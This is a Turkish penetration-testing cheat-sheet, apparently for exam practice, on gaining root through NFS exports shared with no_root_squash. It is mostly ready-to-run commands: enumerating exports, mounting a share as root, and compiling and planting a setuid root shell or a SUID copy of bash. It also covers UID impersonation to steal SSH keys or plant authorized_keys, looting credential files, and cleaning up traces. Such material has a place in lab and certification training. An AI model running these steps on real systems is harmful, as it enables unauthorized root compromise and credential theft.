FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE orta :111:2049

NFS no_root_squash ile Privilege Escalation

NFS export'u no_root_squash ile paylaşılmışsa, saldırgan kendi makinesinde (root iken) paylaşımı mount edip içine SUID root bir binary bırakır; hedefte düşük yetkili kullanıcı bu binary'i çalıştırarak root olur. root_squash aktifse bu vektör çalışmaz — alternatifler ve tespit yöntemleri.

Bilgi: ÖN KOŞULLAR
  • Hedefte düşük yetkili shell
  • Kali'de root erişimi (mount ve chown için)
  • Export'a NFS ağ erişimi (port 2049/111) VEYA hedefte localhost'tan mount yetkisi
┌──

Komutlar

showmount ✓ EXAM-SAFE
showmount -e {{RHOST}}
Hedefin NFS export listesini ve izin verilen istemcileri gösterir. Çıktıda export path + erişim aralığı görünür. HackTricks — Pentesting NFS
nmap ✓ EXAM-SAFE
nmap -sV -p 111,2049 --script=nfs-ls,nfs-showmount,nfs-statfs {{RHOST}}
rpcbind/nfs servislerini ve export'ları script ile enumere eder; nfs-ls export içeriğini listeler. HackTricks — Pentesting NFS
shell ✓ EXAM-SAFE user
cat /etc/exports
Hedefteyken: export tanımlarında no_root_squash ararsın. `(rw,no_root_squash)` bayrağı saldırının ön koşulu. HackTricks — NFS no_root_squash/no_all_squash misconfiguration PE
mount ✓ EXAM-SAFE # root
mkdir -p /mnt/nfs && mount -t nfs -o vers=3 {{RHOST}}:/EXPORT_PATH /mnt/nfs
Kali'de (root iken) export'u mount et. vers=3 squash davranışı ve uyumluluk için sık tercih edilir; gerekirse vers=4 dene. HackTricks — NFS no_root_squash PE
cc ✓ EXAM-SAFE # root
printf '#include <unistd.h>\nint main(){setuid(0);setgid(0);system("/bin/bash -p");return 0;}' > /mnt/nfs/shell.c && gcc /mnt/nfs/shell.c -o /mnt/nfs/shell -w
Mount edilmiş dizine SUID shell kaynak yaz ve derle. setuid(0)+/bin/bash -p kombinasyonu root shell verir. HackTricks — NFS no_root_squash PE (SUID binary)
chmod ✓ EXAM-SAFE # root
chown root:root /mnt/nfs/shell && chmod 4755 /mnt/nfs/shell
Kali root olduğundan, no_root_squash sayesinde dosya hedefte de root-owned + SUID görünür. Burada UID 0 olarak chown edebilmen saldırının özü. HackTricks — NFS no_root_squash PE
shell ✓ EXAM-SAFE user
/EXPORT_PATH/shell -p
Hedefteki düşük yetkili shell'den, export'un yerel mount noktasındaki SUID binary'i çalıştır → root. -p efektif UID'yi düşürmeyi engeller. HackTricks — NFS no_root_squash PE
shell ✓ EXAM-SAFE # root
cp /bin/bash /mnt/nfs/rootbash && chmod +xs /mnt/nfs/rootbash
Derleyici yoksa alternatif: bash kopyasını SUID'le. Hedefte `/EXPORT_PATH/rootbash -p` ile root shell. HackTricks — NFS no_root_squash PE (bash SUID)

Mantık

NFS export’u sunucu /etc/exports içinde no_root_squash ile paylaştığında, istemci tarafındaki root, sunucuda da root olarak dosya oluşturabilir. Normalde root_squash aktiftir ve uzak root, sunucuda nobody (UID 65534) olarak squash edilir — bu da chown/SUID hilesini engeller. Saldırı bu squash’ın kapalı olmasına dayanır.

Enumeration

  • Dışarıdan: showmount -e {{RHOST}} ile export’ları, nmap NFS script’leri ile içeriği listele. Port 111 (rpcbind) + 2049 (nfsd) açık olmalı.
  • İçeriden (shell varken): cat /etc/exports ile no_root_squash bayrağını doğrula. Bu, hangi export’un sömürülebilir olduğunu kesinleştirir.

Sömürü Akışı

  1. Kali’de root ol ve export’u mount et (mount -t nfs ...). Kali zaten root, bu yüzden kontrolün sende.
  2. Mount noktasına bir SUID root binary koy: ya küçük bir C setuid shell derle, ya da /bin/bash’i kopyalayıp SUID bit’le (chmod +xs).
  3. chown root:root + chmod 4755/+s uygula. no_root_squash olduğu için bu dosya hedefte de root-owned ve SUID olur.
  4. Hedefteki düşük yetkili shell’den binary’i export’un yerel path’inden çalıştır (örn. hedefte export /srv/nfs ise /srv/nfs/shell -p). -p shell’in efektif UID’yi koruması için şart.

root_squash Bypass / Alternatifler

  • root_squash aktifse SUID hilesi düşer (dosya nobody-owned olur). Bu durumda:
    • Mevcut bir kullanıcının UID’sini taklit et: Export’ta belirli bir UID’ye ait dosyalar varsa (örn. UID 1000 = bir uygulama kullanıcısı), Kali’de o UID’li bir kullanıcı oluştur (useradd -u 1000 victim; su victim) ve onun yetkisiyle dosyaları oku/yaz. Bu, o kullanıcının SSH key’ini okuma veya authorized_keys yazma fırsatı verir (bkz. lnx-privesc-sshkeys).
    • Hassas dosya okuma: no_all_squash veya yanlış izinler varsa export içindeki config/credential dosyalarını yağmala.

Gotcha’lar

  • Mount NFSv4’te export path köke göredir; showmount çıktısındaki tam path’i kullan. Sürüm uyuşmazlığında -o vers=3-o vers=4 arasında geçiş yap.
  • Hedef shell’inde binary’i çalıştırırken doğru fiziksel path’i kullan: senin Kali’deki /mnt/nfs değil, hedefin export’u nereye serve ettiği (/etc/exports solundaki path).
  • noexec ile mount edilmiş bir export’ta binary çalışmaz; bu durumda export’tan okunabilir credential’lara yönel.
  • İz bırakma: işin bitince oluşturduğun SUID binary’yi mount üzerinden sil.
┌──

Kaynaklar

0/15 set